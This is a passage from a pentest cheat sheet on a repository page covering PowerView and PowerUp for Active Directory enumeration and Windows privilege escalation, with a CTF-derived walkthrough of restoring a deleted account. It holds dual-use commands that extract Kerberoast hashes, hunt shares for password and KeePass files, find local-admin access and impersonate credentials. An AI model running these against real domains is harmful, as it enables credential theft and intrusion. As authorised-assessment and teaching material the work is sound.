repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
powerview-powerup.mdMarkdown1,749 lines74.2 KiBsource raw download

title: "PowerView and PowerUp Deep-Dive" description: "Comprehensive PowerView domain-enumeration and PowerUp local Windows privilege-escalation reference, with read-only triage, validation, cleanup, and function indexes." category: active-directory subcategory: "Tooling & Recon" tags: [active-directory, powerview, powerup, powershell, enumeration, privilege-escalation] tools: [PowerView, PowerUp, PowerShell] difficulty: advanced updated: "2026-09-19" source: "vault:ActiveDirectory/PowerView-PowerUp-Cheatsheet.md"#

PowerView + PowerUp — Deep-Dive Cheat Sheet#

[!info] Two tools, two scopes PowerView inventories and, where authorised, modifies Active Directory through LDAP, .NET, WMI, and Windows APIs. PowerUp audits and validates local Windows privilege-escalation misconfigurations. A useful mental model is: PowerView answers “what can this identity reach or control in the domain?”; PowerUp answers “what can this identity control on this host?”

[!warning] Authorised use only Several commands below alter users, groups, ACLs, services, files, or registry state. Use them only in a lab or an explicitly authorised assessment. Snapshot the original state, make one change at a time, verify it, and run the paired cleanup. Discovery commands can also generate LDAP, SMB, WMI, service-control, and security-event telemetry.

[!note] Version pin Commands were checked against the copies bundled with this vault: PowerView.ps1 (SHA-256) and PowerUp.ps1 (SHA-256). These are the PowerSploit-style scripts, not Microsoft Graph PowerShell, Azure PowerShell, PowerView.py, SharpView, or PowerUpSQL.

  • PowerView.ps1 SHA-256: 507e8666c239397561c58609f7ea569c9c49ddbb900cd260e7e42b02d03cfd87
  • PowerUp.ps1 SHA-256: 9d59d4c128570eb80c0e8d13e2185030f93d965278b203c91dd196b2e1d3cd22

Table of Contents#

  1. Fast Start
  2. Command Model and Common Parameters
  3. PowerView — Domain and Forest Topology
  4. PowerView — Users, Computers, and Groups
  5. PowerView — Kerberos and Delegation
  6. PowerView — ACL Analysis
  7. PowerView — GPOs, OUs, Sites, and Policy
  8. PowerView — Sessions, Shares, Processes, and Local Admin
  9. PowerView — Alternate Credentials and Impersonation
  10. PowerView — Authorised Object Changes and Cleanup
  11. PowerView — Output, Filtering, and Export
  12. PowerUp — Audit and Triage
  13. PowerUp — Service Misconfigurations
  14. PowerUp — DLL, PATH, Autorun, and Task Findings
  15. PowerUp — Credential and Installer Findings
  16. PowerUp — Validation, Abuse Helpers, and Restoration
  17. Worked Workflows
  18. Troubleshooting
  19. Function and Alias Index
  20. One-Screen Quick Reference

1. Fast Start#

1.1 Load the bundled scripts#

Copy the scripts to an authorised Windows test host and load them into the current PowerShell process:

# Dot-source: functions remain available in the current scope
. .\PowerView.ps1
. .\PowerUp.ps1

# Confirm the expected functions loaded
Get-Command Get-DomainUser, Get-DomainComputer, Invoke-Kerberoast
Get-Command Invoke-PrivescAudit, Get-ModifiableService, Get-UnquotedService

Import-Module .\PowerView.ps1 and Import-Module .\PowerUp.ps1 can also work, but dot-sourcing is predictable for standalone .ps1 files.

[!tip] Preserve the evidence trail Before running a large query, start a transcript and create a dedicated output directory:

New-Item -ItemType Directory -Force C:\Temp\assessment | Out-Null
Start-Transcript -Path C:\Temp\assessment\powershell-transcript.txt

1.2 Define reusable assessment values#

$Domain = 'corp.local'
$DC     = 'dc01.corp.local'
$Target = 'alice'
$Host1  = 'ws01.corp.local'
$Out    = 'C:\Temp\assessment'

1.3 First five commands#

# Current domain and DCs
Get-Domain
Get-DomainController | Select-Object Name,IPAddress,SiteName,OperatingSystem

# High-value domain principals
Get-DomainUser -AdminCount | Select-Object samaccountname,description,memberof
Get-DomainGroupMember -Identity 'Domain Admins' -Recurse

# Local escalation audit
Invoke-PrivescAudit -Format List

1.4 Read-only-first workflow#

1. Establish identity and host context
2. Enumerate narrowly with explicit properties
3. Validate candidate access or misconfiguration
4. Record the original state
5. Make the smallest authorised change
6. Verify impact
7. Restore and verify the original state

2. Command Model and Common Parameters#

2.1 PowerView query pattern#

Most domain functions follow the same shape:

Get-Domain<Object> `
  -Identity <name|DN|SID|GUID> `
  -Domain corp.local `
  -Server dc01.corp.local `
  -LDAPFilter '<ldap-filter>' `
  -SearchBase 'LDAP://OU=Servers,DC=corp,DC=local' `
  -Properties samaccountname,distinguishedname `
  -Credential $Cred
Parameter Use
-Identity Find a named object by sAMAccountName, name, DN, SID, or GUID, depending on function
-Domain Query another domain; use its DNS name
-Server Pin queries to a DC/GC; useful for consistency and troubleshooting
-LDAPFilter Add a raw LDAP filter without post-filtering every result locally
-SearchBase Restrict scope to an OU, container, or LDAP path
-SearchScope Base, OneLevel, or Subtree
-Properties Request only useful attributes; reduces output and LDAP volume
-ResultPageSize LDAP page size; bundled default is normally 200
-ServerTimeLimit Bound server-side query time
-Tombstone Include deleted/tombstoned objects where supported
-Credential Use a PSCredential; this is not pass-the-hash

2.2 Prefer server-side filters#

# Better: DC returns only matching objects
Get-DomainUser -LDAPFilter '(description=*admin*)' -Properties samaccountname,description

# Noisier: retrieve all users, then filter locally
Get-DomainUser | Where-Object description -Like '*admin*'

2.3 Useful LDAP syntax#

Meaning Filter
Users (&(objectCategory=person)(objectClass=user))
Computers (samAccountType=805306369)
Groups (objectCategory=group)
Attribute exists (servicePrincipalName=*)
Exact value (samAccountName=alice)
Wildcard (description=*password*)
AND (&(objectClass=user)(adminCount=1))
OR `(
NOT (!(userAccountControl:1.2.840.113556.1.4.803:=2))
Bit set (userAccountControl:1.2.840.113556.1.4.803:=4194304)
Recursive memberOf (memberOf:1.2.840.113556.1.4.1941:=<group-DN>)

2.4 Identity and name conversion#

Resolve-IPAddress dc01.corp.local
ConvertTo-SID 'CORP\alice'
ConvertFrom-SID 'S-1-5-21-111111111-222222222-333333333-1105'
Convert-ADName 'CORP\alice' -OutputType Canonical
ConvertFrom-UACValue 4260352
Get-DomainSID -Domain corp.local

3. PowerView — Domain and Forest Topology#

3.1 Domain and controllers#

Get-Domain
Get-Domain -Domain child.corp.local

Get-DomainController
Get-DomainController -Domain corp.local
Get-DomainController -Domain corp.local -Server dc01.corp.local
Get-DomainController | Format-Table Name,IPAddress,SiteName,OperatingSystem -AutoSize

3.2 Forest, domains, global catalogs, and schema#

Get-Forest
Get-Forest -Forest corp.local
Get-ForestDomain
Get-ForestGlobalCatalog
Get-ForestSchemaClass -ClassName user

3.3 Trusts and foreign principals#

# Current domain's trusts
Get-DomainTrust

# Query a specific domain or use alternative enumeration methods
Get-DomainTrust -Domain corp.local
Get-DomainTrust -Domain corp.local -API
Get-DomainTrust -Domain corp.local -NET

# Forest trusts and recursively mapped trust graph
Get-ForestTrust
Get-DomainTrustMapping

# Cross-domain membership indicators
Get-DomainForeignUser
Get-DomainForeignGroupMember

Interpret the direction from the queried domain's perspective and verify it before planning access:

Property Meaning
SourceName / queried domain Domain whose trust object is being read
TargetName Other side of the trust
TrustDirection Inbound, outbound, or bidirectional
TrustType Parent-child, external, forest, MIT, etc.
TrustAttributes Transitivity, SID filtering, within-forest flags, and related controls

3.4 Sites, subnets, and DNS#

Get-DomainSite | Select-Object name,distinguishedname
Get-DomainSubnet | Select-Object name,siteobject
Get-NetComputerSiteName -ComputerName ws01.corp.local

Get-DomainDNSZone
Get-DomainDNSRecord -ZoneName corp.local
Get-DomainDNSRecord -ZoneName corp.local | Where-Object name -Like 'dc01*'

4. PowerView — Users, Computers, and Groups#

4.1 Users#

# One user, selected properties
Get-DomainUser -Identity alice -Properties samaccountname,displayname,description,memberof,pwdlastset,lastlogon

# Several identities
'alice','bob','svc_sql' | Get-DomainUser -Properties samaccountname,useraccountcontrol

# Privileged/protected accounts
Get-DomainUser -AdminCount -Properties samaccountname,admincount,memberof

# Enabled users with descriptions
Get-DomainUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(description=*))' `
  -Properties samaccountname,description

# Password and logon hygiene
Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD
Get-DomainUser -UACFilter PASSWD_NOTREQD
Get-DomainUser -UACFilter SMARTCARD_REQUIRED
Get-DomainUser -PreauthNotRequired

# Users with SPNs
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon

# Recently changed account attributes
Get-DomainObjectAttributeHistory -Identity alice
Get-DomainObjectLinkedAttributeHistory -Identity 'Domain Admins'

[!note] Date properties PowerView converts several LDAP timestamps for display, but not every property is guaranteed to be a native DateTime. Inspect the type before comparing: $x.pwdlastset.GetType().FullName.

4.2 Computers#

# Inventory
Get-DomainComputer -Properties dnshostname,operatingsystem,operatingsystemversion,lastlogondate

# Specific host or OS family
Get-DomainComputer -Identity ws01
Get-DomainComputer -OperatingSystem '*Server*'
Get-DomainComputer -OperatingSystem '*Windows 10*'

# Servers offering a specific SPN
Get-DomainComputer -SPN 'MSSQLSvc*' -Properties dnshostname,serviceprincipalname

# Delegation-related computer flags
Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol
Get-DomainComputer -TrustedToAuth -Properties dnshostname,msds-allowedtodelegateto

# Print-spooler service check supported by this PowerView build
Get-DomainComputer -Printers -Properties dnshostname

# Stale computers: retrieve then compare locally
$Cutoff = (Get-Date).AddDays(-90)
Get-DomainComputer -Properties dnshostname,lastlogondate,pwdlastset |
  Where-Object { $_.lastlogondate -and $_.lastlogondate -lt $Cutoff }

4.3 Groups and membership#

Get-DomainGroup
Get-DomainGroup -Identity 'Domain Admins'
Get-DomainGroup -AdminCount

# Direct and recursive membership
Get-DomainGroupMember -Identity 'Domain Admins'
Get-DomainGroupMember -Identity 'Domain Admins' -Recurse

# Resolve a user's group memberships from the user side
Get-DomainGroup -MemberIdentity alice

# Managed security groups and removed members
Get-DomainManagedSecurityGroup
Get-DomainGroupMemberDeleted -Identity 'Domain Admins'

Use Get-DomainObject when a specialised function does not expose the object or property you need:

Get-DomainObject -Identity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local'
Get-DomainObject -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
  -Properties samaccountname,msds-allowedtoactonbehalfofotheridentity
Get-DomainObject -SearchBase 'LDAP://CN=Configuration,DC=corp,DC=local' `
  -LDAPFilter '(objectClass=pKIEnrollmentService)'

4.5 High-value hunting filters#

# AS-REP roastable: DONT_REQ_PREAUTH (4194304)
Get-DomainUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' `
  -Properties samaccountname,pwdlastset

# Unconstrained delegation: TRUSTED_FOR_DELEGATION (524288), excluding DC computer accounts if desired
Get-DomainComputer -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' `
  -Properties dnshostname,useraccountcontrol

# Resource-based constrained delegation configured
Get-DomainComputer -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
  -Properties dnshostname,msds-allowedtoactonbehalfofotheridentity

# Descriptions that may contain operational notes
Get-DomainObject -LDAPFilter '(|(description=*pass*)(info=*pass*))' `
  -Properties samaccountname,description,info

# Accounts protected by AdminSDHolder
Get-DomainObject -LDAPFilter '(adminCount=1)' -Properties samaccountname,objectclass,memberof

5. PowerView — Kerberos and Delegation#

5.1 Kerberoast candidates#

# Enumerate first
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon

# Exclude krbtgt and disabled users in a server-side filter
Get-DomainUser -LDAPFilter '(&(servicePrincipalName=*)(!(samAccountName=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' `
  -Properties samaccountname,serviceprincipalname,pwdlastset

5.2 Request service tickets in an authorised password audit#

# One account
Get-DomainUser -Identity svc_sql | Get-DomainSPNTicket -OutputFormat Hashcat

# Narrow set; write hashes directly
Get-DomainUser -Identity svc_sql,svc_web |
  Get-DomainSPNTicket -OutputFormat Hashcat |
  Select-Object -ExpandProperty Hash |
  Set-Content C:\Temp\assessment\kerberoast.hashes

# Bundled helper over all matching domain users
Invoke-Kerberoast -OutputFormat Hashcat
Output format Typical consumer
Hashcat Hashcat mode chosen from the returned etype/hash prefix
John John the Ripper

[!warning] Telemetry Every requested service ticket can produce DC-side Kerberos service-ticket activity (commonly Event ID 4769). A PowerShell implementation is not inherently “stealthy.” Query a justified, narrow target set and record the test window.

5.3 Delegation discovery#

# Unconstrained delegation
Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol
Get-DomainUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' `
  -Properties samaccountname,useraccountcontrol

# Protocol transition / constrained delegation
Get-DomainUser -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth -Properties dnshostname,msds-allowedtodelegateto

# Any classic constrained-delegation target list
Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' `
  -Properties samaccountname,objectclass,msds-allowedtodelegateto

# RBCD attribute is set on the resource
Get-DomainObject -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
  -Properties samaccountname,msds-allowedtoactonbehalfofotheridentity

PowerView identifies the configuration. Use BloodHound cheat sheet to model reachability and the dedicated delegation notes for a controlled end-to-end validation.


6. PowerView — ACL Analysis#

6.1 Read and resolve an object's DACL#

# Resolve schema GUIDs to readable rights (slower than raw output)
Get-DomainObjectAcl -Identity alice -ResolveGUIDs

# Group DACL
Get-DomainObjectAcl -Identity 'Help Desk' -ResolveGUIDs

# Domain root DACL
$DomainDN = (Get-Domain).distinguishedname
Get-DomainObjectAcl -Identity $DomainDN -ResolveGUIDs

# Only password-reset or group-member rights
Get-DomainObjectAcl -Identity alice -ResolveGUIDs -RightsFilter ResetPassword
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs -RightsFilter WriteMembers

6.2 Resolve who an ACE belongs to#

$TargetAcl = Get-DomainObjectAcl -Identity alice -ResolveGUIDs
$TargetAcl | ForEach-Object {
    [pscustomobject]@{
        Principal = ConvertFrom-SID $_.SecurityIdentifier
        Rights    = $_.ActiveDirectoryRights
        ObjectAce = $_.ObjectAceType
        Inherited = $_.IsInherited
        Type      = $_.AceType
    }
} | Format-Table -AutoSize

6.3 Find interesting domain ACLs#

# Broad discovery
Find-InterestingDomainAcl -ResolveGUIDs

# Focus on ACEs held by a principal SID
$MySid = ConvertTo-SID 'CORP\analyst'
Find-InterestingDomainAcl -ResolveGUIDs |
  Where-Object { $_.SecurityIdentifier -eq $MySid }

# Investigate a particular object class or OU with SearchBase
Find-InterestingDomainAcl -ResolveGUIDs `
  -SearchBase 'LDAP://OU=Tier 0,DC=corp,DC=local'

# GPO-specific delegation
Get-GPODelegation

6.4 Rights interpretation#

Right / edge What it can imply Safer validation
GenericAll Broad object control Confirm ACE scope, inheritance, and target class
GenericWrite Write many non-protected properties List the exact writable attribute before changing it
WriteDacl Add/remove ACEs Export the current DACL and use a reversible test ACE
WriteOwner Take ownership, then potentially edit DACL Record original owner; restore after test
ExtendedRight / User-Force-Change-Password Reset target password Use a disposable lab identity if possible
WriteProperty on group member Change group membership Add a test principal, verify, immediately remove
Replication extended rights DCSync capability at domain root Verify the two replication GUID ACEs; avoid pulling secrets unless required

[!danger] An ACE is context-dependent Check AceType, IsInherited, InheritanceType, ObjectAceType, InheritedObjectAceType, target class, deny ACEs, and token group membership. Seeing the text GenericWrite in one row is not by itself proof of an exploitable path.

6.5 Find anomalous attributes#

Find-DomainObjectPropertyOutlier -ClassName User
Find-DomainObjectPropertyOutlier -ClassName Group
Find-DomainObjectPropertyOutlier -ClassName Computer

6.6 Fine-tune an ACL review#

An ACL is a list of access-control entries (ACEs). Each ACE describes a permission rule for a principal, such as a user or group. Get-DomainObjectAcl normally reads the discretionary ACL (DACL), which contains allow and deny rules. Its output contains individual ACEs: several output rows can describe the permissions on one directory object.

The examples below use synthetic ACL rows in memory. They explain scope and filtering without connecting to a domain or changing permissions.

Read the pipeline in plain English#

A pipeline containing Get-DomainObjectAcl ... | ? { $_.SecurityIdentifier -like '*-1111' } has two separate jobs: the function retrieves ACL entries, then PowerShell keeps entries whose trustee SID ends in -1111. The filter after the pipe acts on returned rows; it does not narrow the directory query itself. Source

The final component of a domain SID is its relative identifier (RID). A suffix such as 1111 does not uniquely identify a principal across domains. For a permission review, use the complete SID from the account record supplied for that review. Filtering only a user's SID also omits ACEs assigned to their groups.

Choose the location and depth separately#

A distinguished name (DN) identifies a directory object. For example, CN=Example User,OU=Training,DC=example,DC=test places an object named Example User inside the Training organisational unit in example.test. CN means common name, OU means organisational unit, and DC means domain component. Each component needs its =; DCtest is not a correctly formed DC=test component.

-SearchBase specifies where a query starts. -SearchScope specifies how much of that location it includes. Source

Scope Includes the starting object Includes immediate children Includes deeper descendants
Base Yes No No
OneLevel No Yes No
Subtree Yes Yes Yes

These scopes count directory objects, not ACE rows. A Base search can still yield many ACL entries for its one object. Source

For this fictional directory layout, a search base of OU=Training,DC=example,DC=test has the following reach:

OU=Training                      Base and Subtree
  CN=Example User                 OneLevel and Subtree
  OU=Archive                      OneLevel and Subtree
    CN=Archived User              Subtree only

The Configuration naming context holds forest configuration rather than the ordinary domain user and computer inventory. Choose the naming context that contains the objects being reviewed; the default domain search is not a substitute for selecting Configuration explicitly. Do not assume a child domain's DN is the forest Configuration DN.

Use full parameter names and inspect the loaded version#

In the bundled Get-DomainObjectAcl, both -SearchBase and -SearchScope exist, so -Search is ambiguous. Use the complete parameter names in notes. The following commands inspect local function metadata and help; they do not execute an LDAP query:

Get-Command Get-DomainObjectAcl -Syntax
(Get-Command Get-DomainObjectAcl).Parameters.Keys | Sort-Object
Get-Help Get-DomainObjectAcl -Full

The bundled source defines these controls:

Control What it selects or changes
-Identity Which directory object's ACL to read; it does not select the trustee inside an ACE
-SearchBase Starting directory location
-SearchScope Depth below that location; the bundled default is Subtree
-LDAPFilter Directory objects matching LDAP attributes before their ACLs are processed
-Server Domain controller used for the query
-ResolveGUIDs Names for recognised schema/right GUIDs; it does not resolve trustee SIDs to account names
-ResultPageSize Objects requested per LDAP page; it is not a total-result limit
Where-Object Returned ACE rows that satisfy a local condition
Select-Object Output fields to retain, or rows to display with -First

-LDAPFilter takes LDAP expressions such as (name=Example User). A PowerShell condition such as { $_.SecurityIdentifier -eq $PrincipalSid } belongs in Where-Object. SecurityIdentifier is a field produced when PowerView parses an ACE, not a normal directory attribute that this LDAP filter can use to select trustees. Source Source

The bundled ACL reader has no -Properties parameter. Select its output columns with Select-Object. Its -RightsFilter accepts only All, ResetPassword, and WriteMembers; these are implementation-specific GUID filters, not arbitrary permission names. Leave that option unset when reviewing the complete DACL. Check the loaded function before borrowing flags from another fork.

Practise filtering without a domain connection#

This dataset is invented. The repeated 1200 suffix in two different domain SIDs demonstrates why an exact SID comparison matters. The allow and deny rows are separate rules, not a computed effective-access result.

$PrincipalSid = 'S-1-5-21-100-200-300-1200'

$SampleAces = @(
    [pscustomobject]@{
        ObjectDN = 'CN=Example Group,OU=Training,DC=example,DC=test'
        SecurityIdentifier = $PrincipalSid
        ActiveDirectoryRights = 'ReadProperty'
        AceType = 'AccessAllowed'
        IsInherited = $false
    }
    [pscustomobject]@{
        ObjectDN = 'CN=Example User,OU=Training,DC=example,DC=test'
        SecurityIdentifier = $PrincipalSid
        ActiveDirectoryRights = 'ReadProperty'
        AceType = 'AccessAllowed'
        IsInherited = $true
    }
    [pscustomobject]@{
        ObjectDN = 'CN=Example User,OU=Training,DC=example,DC=test'
        SecurityIdentifier = $PrincipalSid
        ActiveDirectoryRights = 'ReadProperty'
        AceType = 'AccessDenied'
        IsInherited = $false
    }
    [pscustomobject]@{
        ObjectDN = 'CN=Example Group,OU=Training,DC=example,DC=test'
        SecurityIdentifier = 'S-1-5-21-400-500-600-1200'
        ActiveDirectoryRights = 'ListChildren'
        AceType = 'AccessAllowed'
        IsInherited = $false
    }
)

# A suffix comparison includes both fictional domains: four rows.
$SampleAces |
    Where-Object { $_.SecurityIdentifier -like '*-1200' }

# An exact comparison keeps one principal: three rows.
$PrincipalAces = @(
    $SampleAces |
        Where-Object { [string]$_.SecurityIdentifier -eq $PrincipalSid }
)
$PrincipalAces.Count

# Combine conditions to review that principal on one known object.
$ReviewedObjectDN = 'CN=Example User,OU=Training,DC=example,DC=test'
$PrincipalAces |
    Where-Object { $_.ObjectDN -eq $ReviewedObjectDN } |
    Format-List ObjectDN,SecurityIdentifier,ActiveDirectoryRights,AceType,IsInherited

# Separate explicit entries for comparison; inherited entries still matter.
$PrincipalAces |
    Where-Object { $_.IsInherited -eq $false } |
    Format-Table ObjectDN,AceType,IsInherited -Wrap

Keep $PrincipalAces as structured objects so you can inspect the same dataset repeatedly. Put Format-Table or Format-List at the end of a display pipeline; assigning formatted output back to the variable loses the original row structure. Format-List is useful when a long DN is cut off in a narrow terminal.

Interpret empty results and permission rows carefully#

An empty filtered result means no returned row matched that condition. It does not prove the principal has no access. Review the unfiltered data already collected, the chosen naming context, the full trustee SID, and any collection errors. Missing permission data and an empty DACL are different findings.

6.7 Microsoft AD module: deleted objects and recovery#

Get-ADObject, Restore-ADObject, and Get-ADUser belong to Microsoft's ActiveDirectory PowerShell module. They are separate from PowerView's Get-DomainObject and Get-DomainUser. Loading PowerView.ps1 does not install these Microsoft cmdlets. This section explains the supplied transcript and administrative recovery checks; it does not execute a restore. Source

Check which commands are available#

Inspect the current PowerShell session's command metadata and help before borrowing parameters from a different module. These commands do not query or modify directory objects:

Get-Command Get-ADObject,Restore-ADObject,Get-ADUser -ErrorAction SilentlyContinue |
    Select-Object Name,Source,CommandType

Get-Help Get-ADObject -Full
Get-Help Restore-ADObject -Full
Get-Help Get-ADUser -Full

The expected module source for these cmdlets is ActiveDirectory. If the commands are unavailable, use a management host where that module is installed; an Evil-WinRM prompt alone does not establish that the module is available. Source

Understand the deleted-object query#

The supplied command is a read-only directory query:

Get-ADObject -ldapfilter "(&(isDeleted=TRUE))" -IncludeDeletedObjects

Get-ADObject retrieves directory objects of different classes, including users, groups, and organisational units. -LDAPFilter specifies which objects match. Here, isDeleted=TRUE asks for objects marked as deleted. -IncludeDeletedObjects allows deleted objects to be returned, which an ordinary query excludes. That switch alone does not mean “only deleted objects”; the filter supplies that restriction. Source

The filter has one condition inside an AND group: (&(isDeleted=TRUE)). With only one condition, the outer AND is redundant; (isDeleted=TRUE) expresses the same test. An AND group becomes useful when combining conditions. LDAP filter text is different from a PowerShell Where-Object script block. Source

A match is a directory record, not a file recovered from a user's desktop. Deleted records can retain identifiers and recovery metadata. A visible deleted record is not proof that a complete recovery remains possible: the deletion lifecycle and Recycle Bin configuration matter. Source Source

Understand the recovery metadata#

Get-ADObject returns a default property set. Additional attributes must be requested with -Properties; selecting a field for display does not fetch it from the server. For an administrative recovery review, distinguish the record's identity from its previous location. Source

Field Meaning
ObjectGUID Unique object identifier; the GUID form of -Identity refers to this value
DistinguishedName Current directory location, which changes when an object is deleted or restored
isDeleted Whether the record is marked as deleted
isRecycled Whether it has entered the recycled state; this is different from an intact recoverable deleted object
lastKnownParent DN of the object's previous parent container or OU
msDS-LastKnownRDN Original relative distinguished name, the object's name within its parent

lastKnownParent and msDS-LastKnownRDN are the default destination and name inputs used by the restore cmdlet when no replacement is specified. Recycled objects have already lost many attributes, so the presence of a GUID alone does not establish full recoverability. Source Source Source Source

Interpret the supplied restore command#

The transcript contains Restore-ADObject -Identity "c1f1f0fe-df9c-494c-bf05-0679e181b358". This requests restoration of the deleted directory object with that ObjectGUID. The GUID is an identifier, not a password, SID, or value generated for each attempt. Restore-ADObject changes directory state; it is not another search command. Source

The command does not name cert_admin. The link between that account and the restore request comes from the matching ObjectGUID in the later user output. The supplied excerpt does not show the deleted-object query's results, so it does not show how that GUID was originally selected. Source Source

No object output after Restore-ADObject is normal: the cmdlet returns no object by default. Its documented -PassThru option returns the restored object. Silence alone is not a substitute for checking errors and verifying the resulting record. Source

For an administrative recovery, establish the intended identity, recoverability, and destination before making a change. Restoring an account can restore security-relevant state and access. The Recycle Bin preserves attributes for objects deleted after it was enabled; enabling it later does not recover attributes from earlier deletions. Recovery windows depend on the directory configuration, so do not assume every deleted record can be restored indefinitely. Source Source

Read the user verification output#

The final supplied command reads the current user record:

Get-ADUser -Identity cert_admin

Here, cert_admin is a sAMAccountName accepted by -Identity. This cmdlet also accepts a user object's distinguished name, GUID, or SID. It retrieves information; it does not enable the account, reset its password, authenticate as it, or grant permissions. Source

Supplied field Interpretation
DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb The returned user is currently under the ADCS OU in tombwatcher.htb
ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358 Matches the identifier in the supplied restore request
SamAccountName : cert_admin The account name used by the lookup
ObjectClass : user This record is a user object
Enabled : True The returned account state is enabled; this is not a successful sign-in test
SID : S-1-5-21-1392491010-1358638721-2126982587-1110 The user's security identifier, distinct from its GUID
Blank UserPrincipalName No UPN value is displayed; the sAMAccountName lookup still returned the user

The matching GUID is the useful identity check in this transcript. The account name cert_admin and OU name ADCS alone do not establish certificate authority privileges or any other effective access. The default Get-ADUser output is a limited property set, not a permissions report. Source

Avoid misleading conclusions#

An empty deleted-object search means the query returned no visible matches in its scope. Check collection errors and the chosen server and search base before treating that as proof that nothing was deleted. -IncludeDeletedObjects neither expands the search to every domain nor bypasses directory access controls. Source

A restore and a later lookup are separate operations. A lookup by account name can identify a different object if that name was reused; compare the object GUID with the reviewed record. Review account state and intended access after recovery rather than assuming the original access is still appropriate. Source Source


7. PowerView — GPOs, OUs, Sites, and Policy#

7.1 OUs and linked GPOs#

Get-DomainOU -Properties name,distinguishedname,gplink
Get-DomainOU -Identity 'Domain Controllers' -Properties name,gplink

Get-DomainGPO | Select-Object displayname,name,gpcfilesyspath
Get-DomainGPO -Identity 'Default Domain Policy'
Get-DomainGPO -ComputerIdentity ws01
Get-DomainGPO -UserIdentity alice

7.2 Local-group effects from GPO#

# Restricted Groups and Group Policy Preferences local groups
Get-DomainGPOLocalGroup

# Where is a user/group granted local Administrators or RDP membership?
Get-DomainGPOUserLocalGroupMapping -Identity 'CORP\Help Desk' -LocalGroup Administrators
Get-DomainGPOUserLocalGroupMapping -Identity alice -LocalGroup RDP

# Who becomes local admin/RDP user on one computer or OU?
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity ws01 -LocalGroup Administrators
Get-DomainGPOComputerLocalGroupMapping -OUIdentity 'OU=Workstations,DC=corp,DC=local' -LocalGroup RDP

7.3 Domain policy#

Get-DomainPolicyData
Get-DomainPolicyData | Select-Object -ExpandProperty SystemAccess
Get-DomainPolicyData -Policy DC

# Common fields to review
$Policy = Get-DomainPolicyData
$Policy.SystemAccess | Format-List MinimumPasswordAge,MaximumPasswordAge,MinimumPasswordLength,PasswordComplexity,LockoutBadCount,ResetLockoutCount,LockoutDuration

7.4 GPO file helpers#

$Gpo = Get-DomainGPO -Identity 'Default Domain Policy'
Get-GptTmpl -GptTmplPath "$($Gpo.gpcfilesyspath)\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

8. PowerView — Sessions, Shares, Processes, and Local Admin#

8.1 One-host enumeration#

Get-NetShare -ComputerName ws01
Get-NetSession -ComputerName fs01
Get-NetLoggedon -ComputerName ws01
Get-RegLoggedOn -ComputerName ws01
Get-NetRDPSession -ComputerName ws01
Get-NetLocalGroup -ComputerName ws01
Get-NetLocalGroupMember -ComputerName ws01 -GroupName Administrators
Get-WMIProcess -ComputerName ws01
Test-AdminAccess -ComputerName ws01

What the session functions actually observe:

Function Source Typical limitation
Get-NetSession NetSessionEnum Modern Windows often restricts session enumeration
Get-NetLoggedon NetWkstaUserEnum Usually requires elevated/remote access
Get-RegLoggedOn Remote registry HKEY_USERS Remote Registry/firewall/rights must permit it
Get-NetRDPSession WTS APIs Rights and firewall affect remote results
Get-WMIProcess WMI RPC/WMI access and firewall required

8.2 Domain-wide discovery#

# Find accessible shares; check actual read access
Find-DomainShare -CheckShareAccess -Threads 20

# Search readable shares for default interesting filenames
Find-InterestingDomainShareFile -Threads 20

# Narrow file search
Find-InterestingDomainShareFile -Include '*.kdbx','*password*','unattend*.xml' -Threads 10

# Find machines where current identity is local admin
Find-LocalAdminAccess -Threads 20

# Enumerate local Administrators members across domain systems
Find-DomainLocalGroupMember -GroupName Administrators -Threads 20

# Find where a named user is logged on
Find-DomainUserLocation -UserIdentity alice -Threads 10

# Search for interesting processes
Find-DomainProcess -ProcessName 'keepass','mstsc' -Threads 10

[!warning] Fan-out noise Hunter functions contact many endpoints. -Threads changes speed, not authorisation or detectability. Start with a supplied -ComputerName list or restrictive computer LDAP filter, then expand only when justified.

8.3 File servers, DFS, and targeted file searches#

Get-DomainFileServer
Get-DomainDFSShare

Find-InterestingFile -Path '\\fs01\Finance' -Include '*.kdbx','*.config','*password*'
Find-InterestingFile -Path 'C:\Users' -OfficeDocs -LastAccessTime (Get-Date).AddDays(-30)

8.4 Remote registry artefacts#

Get-WMIRegProxy -ComputerName ws01
Get-WMIRegLastLoggedOn -ComputerName ws01
Get-WMIRegCachedRDPConnection -ComputerName ws01
Get-WMIRegMountedDrive -ComputerName ws01

9. PowerView — Alternate Credentials and Impersonation#

9.1 PSCredential for LDAP/WMI-aware functions#

$Cred = Get-Credential 'CORP\auditor'
Get-DomainUser -Domain corp.local -Server dc01.corp.local -Credential $Cred
Get-DomainComputer -Domain corp.local -Credential $Cred
Get-DomainObjectAcl -Identity alice -ResolveGUIDs -Credential $Cred

9.2 Network-logon impersonation#

$Cred  = Get-Credential 'CORP\auditor'
$Token = Invoke-UserImpersonation -Credential $Cred

try {
    Get-DomainUser -Identity alice
    Get-NetShare -ComputerName fs01
}
finally {
    Invoke-RevertToSelf
    if ($Token) { $Token.Dispose() }
}

9.3 Explicit remote share connection#

